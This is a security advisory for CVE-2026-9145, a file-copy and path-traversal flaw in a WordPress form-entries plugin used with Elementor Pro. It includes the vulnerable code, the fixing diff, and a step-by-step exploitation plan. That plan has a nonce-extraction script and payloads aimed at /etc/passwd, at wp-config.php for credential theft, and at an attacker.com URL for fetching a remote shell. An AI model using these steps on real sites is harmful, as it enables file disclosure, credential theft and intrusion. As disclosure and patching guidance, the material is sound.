CVE-2026-9145

Database for Contact Form 7, WPforms, Elementor forms <= 1.5.1 - Unauthenticated Arbitrary File Copy/Upload via Elementor Pro Form Upload Field 'raw_value'

mediumImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.5.2
Patched in
1d
Time to patch

Description

The Database for Contact Form 7, WPforms, Elementor forms plugin for WordPress is vulnerable to Arbitrary File Copy via the create_entry_el() function in versions up to, and including, 1.5.1. The function reads raw_value from Elementor Pro's Form_Record object for upload-type fields and passes it directly to PHP's copy() without validating that the value corresponds to a legitimately uploaded file — when no file is present in $_FILES, raw_value reflects the attacker-controlled POST string. copy() accepts both local filesystem paths and URL sources, so the attacker can target any file readable by the PHP process or supply an attacker-controlled remote URL. Elementor Pro is a prerequisite for triggering the code path (it owns the elementor_pro/forms/new_record hook and populates the Form_Record object), but the bug itself is entirely in Contact Form Entries' handler. This could allow unauthenticated attackers to disclose arbitrary files on the affected site's server. The file is copied to a directory unknown to the attacker; the hashed directory name provides defense-in-depth but is generated from non-cryptographic sources (uniqid() + rand()) and should not be relied upon as the primary mitigation.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.5.1
PublishedJuly 1, 2026
Last updatedJuly 2, 2026
Affected plugincontact-form-entries

What Changed in the Fix

Changes introduced in v1.5.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan provides a technical roadmap for exploring and validating CVE-2026-9145. ### 1. Vulnerability Summary The "Database for Contact Form 7, WPforms, Elementor forms" plugin (v1.5.1 and below) contains a path traversal vulnerability in its Elementor Pro integration. When a form is sub…

Show full research plan

This research plan provides a technical roadmap for exploring and validating CVE-2026-9145.

1. Vulnerability Summary

The "Database for Contact Form 7, WPforms, Elementor forms" plugin (v1.5.1 and below) contains a path traversal vulnerability in its Elementor Pro integration. When a form is submitted, the plugin's create_entry_el() function hooks into elementor_pro/forms/new_record. For form fields of type "upload," the plugin attempts to move or copy the uploaded file to its own storage directory.

The vulnerability exists because the code fails to verify if the file path provided in the Elementor Pro Form_Record object actually corresponds to a file uploaded via $_FILES. If an attacker submits a standard POST parameter (string) for the file upload field instead of a multipart file upload, the plugin treats the attacker-controlled string as a source path for the PHP copy() function. Since copy() supports local file paths and URLs, an unauthenticated attacker can disclose sensitive local files or perform a limited form of SSRF.

2. Attack Vector Analysis

  • Entry Point: Public-facing Elementor Pro form submission.
  • Hook: elementor_pro/forms/new_record (registered in setup_main()).
  • Vulnerable Function: vxcf_form::create_entry_el().
  • Vulnerable Sink: copy($source, $destination).
  • Required Parameter: The name/ID of an "upload" type field in an Elementor Pro form.
  • Authentication: Unauthenticated (default for most public forms).
  • Preconditions:
    1. Elementor Pro must be installed and active.
    2. An Elementor Pro form with at least one "File Upload" field must exist on a public page.

3. Code Flow

  1. Request: An attacker sends a POST request to a page containing an Elementor Pro form.
  2. Trigger: Elementor Pro processes the form and triggers the elementor_pro/forms/new_record hook.
  3. Plugin Execution: vxcf_form::create_entry_el($record, $handler) is called.
  4. Field Processing: The function iterates through form fields. For "upload" fields, it retrieves the value using $record->get_field_data($field_id).
  5. Logic Failure: The code checks for the presence of a file. If no actual file is in $_FILES, it mistakenly uses the raw_value (the POST string) from the $record object as the $source for copy().
  6. File Copy: copy($source, $destination) is executed where $source is an arbitrary path like /etc/passwd.
  7. Storage: The file is copied into wp-content/uploads/crm_perks_uploads/[hashed_subdir]/[filename].

4. Nonce Acquisition Strategy

Elementor Pro forms are protected by a frontend nonce. To trigger the new_record hook successfully, the exploit must include the correct form ID and the nonce generated for that form.

  1. Identify Target Page: Find a page using an Elementor Pro form (e.g., /contact/).
  2. Navigate: Use browser_navigate("http://localhost:8080/contact/").
  3. Extract Form Data: Use browser_eval to extract the necessary hidden fields.
    const form = document.querySelector('form.elementor-form');
    const data = {
        post_id: form.querySelector('input[name="post_id"]').value,
        form_id: form.querySelector('input[name="form_id"]').value,
        nonce: form.querySelector('input[name="_nonce"]').value,
        upload_field_name: form.querySelector('input[type="file"]').name
    };
    data;
    
  4. Note: The upload_field_name is typically something like form_fields[field_id].

5. Exploitation Strategy

The goal is to copy /etc/passwd to a web-accessible directory managed by the plugin and then retrieve it.

Step 1: Discover Upload Field ID
Identify the specific parameter name for the file upload field from the HTML source (e.g., form_fields[6bc217a]).

Step 2: Send Exploit Payload
Construct a POST request that mimics a form submission but provides the target file path as a string.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php (Note: Elementor forms often submit to the current page URL or admin-ajax.php; check the action attribute of the form).
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: elementor_pro_forms_send_form
    • post_id: [EXTRACTED_POST_ID]
    • form_id: [EXTRACTED_FORM_ID]
    • _nonce: [EXTRACTED_NONCE]
    • form_fields[FIELD_ID]: /etc/passwd (The Payload)

Step 3: Identify the Destination Path
The plugin generates a random directory for each submission using uniqid() + rand(). Since we cannot guess this, we must check the database to see where the entry was saved.

6. Test Data Setup

  1. Install Plugins: Ensure contact-form-entries (v1.5.1) and elementor-pro are active.
  2. Create Form:
    • Create a new page.
    • Add an Elementor "Form" widget.
    • Add a field: Type = "File Upload", Label = "Document".
    • Publish the page.
  3. Confirm Path: Ensure the wp-content/uploads/crm_perks_uploads/ directory is writable by the web server.

7. Expected Results

  • The copy() function will execute, reading /etc/passwd.
  • A new directory will be created under wp-content/uploads/crm_perks_uploads/.
  • The contents of /etc/passwd will be saved inside that directory with the name passwd.
  • The plugin will create a record in its database table representing this "submission."

8. Verification Steps (Post-Exploit)

Since the destination directory is hashed, use WP-CLI to retrieve the file path from the database:

  1. Check Entries:
    # List the most recent submission to find the file link
    wp db query "SELECT * FROM \$(wp db prefix --allow-root)vxcf_leads ORDER BY id DESC LIMIT 1;" --allow-root
    
  2. Extract URL: Look for the field containing the file path/URL in the query results.
  3. Verify File Content:
    # Assuming the DB shows the file was saved to 'crm_perks_uploads/65a.../passwd'
    cat /var/www/html/wp-content/uploads/crm_perks_uploads/[HASHED_DIR]/passwd
    

9. Alternative Approaches

  • Remote File Inclusion (RFI) style Copy: Instead of /etc/passwd, supply a URL: http://attacker.com/shell.txt. PHP's copy() will fetch the remote URL and save it to the server. If the server allows executing PHP in the uploads directory (rare in modern WP), this could lead to RCE.
  • LFI / Disclosure: Target wp-config.php to extract database credentials.
    • Payload: form_fields[FIELD_ID]=../../../wp-config.php (relative path) or the absolute path /var/www/html/wp-config.php.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Contact Form Entries plugin (up to v1.5.1) is vulnerable to unauthenticated arbitrary file copy when integrated with Elementor Pro. The `create_entry_el()` function fails to verify if file upload data originated from a legitimate upload, allowing an attacker to provide a local file path or remote URL as a string which is then processed by PHP's `copy()` function, disclosing sensitive files.

Vulnerable Code

/* contact-form-entries.php line 639 */
$val=$v['raw_value'];
if(in_array($v['type'],array('upload','file'))){ 
  $upload_files[$v['id']]=$val;  
}else{

---

/* contact-form-entries.php line 648 */
if($track ){ //&& !empty(self::$is_pr)
  $upload_files=$this->copy_files($upload_files); 
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/contact-form-entries/1.5.1/contact-form-entries.php	2026-05-17 11:39:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/contact-form-entries/1.5.2/contact-form-entries.php	2026-06-19 11:39:34.000000000 +0000
@@ -25,7 +25,7 @@
   public static $type = "vxcf_form";
   public static $path = ''; 
 
-  public static  $version = '1.5.1';
+  public static  $version = '1.5.2';
   public static $upload_folder = 'crm_perks_uploads';
   public static $db_version='';  
   public static $base_url='';  
@@ -626,7 +626,7 @@
     
    // $d=$record->get_form_settings( 'form_fields' ); //form_name
     $data = $record->get( 'fields' );
-   // $raw_files = $record->get( 'files' );
+    $raw_files = $record->get( 'files' );
     $form_id=$form_id_p.'_'+post_id_p;
     $track=$this->track_form_entry('el',$form_id);
     $fields=self::get_form_fields('el_'.$form_id);
@@ -637,16 +637,16 @@
     if(in_array($v['type'],array('html','step','recaptcha','recaptcha_v3','honeypot'))){ 
       continue;  
     }    
-$val=$v['raw_value'];
-if(in_array($v['type'],array('upload','file'))){ 
-  $upload_files[$v['id']]=$val;  
+$val=$v['raw_value']; //var_dump($v);
+if(in_array($v['type'],array('upload','file')) && isset($raw_files[$v['id']]) && isset($raw_files[$v['id']]['path'])){
+  $upload_files[$v['id']]=$raw_files[$v['id']]['path'];   
 }else{
 
  if(in_array($v['type'],array('checkbox','multiselect'))){

Exploit Outline

The exploit targets an Elementor Pro form that includes a 'File Upload' field. An unauthenticated attacker first obtains the form's post ID, form ID, and nonce from the page HTML. They then send a POST request to the form submission endpoint (typically `admin-ajax.php` with the `elementor_pro_forms_send_form` action). Instead of performing a multipart file upload, the attacker provides the target local file path (e.g., `/etc/passwd`) or a remote URL as a string value for the upload field's parameter. The plugin's `create_entry_el()` function incorrectly uses this string as the source for a `copy()` operation, saving the file's content into a randomized subdirectory under `wp-content/uploads/crm_perks_uploads/`. The attacker can then retrieve the file by identifying the destination directory, which is generated using non-cryptographic methods.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.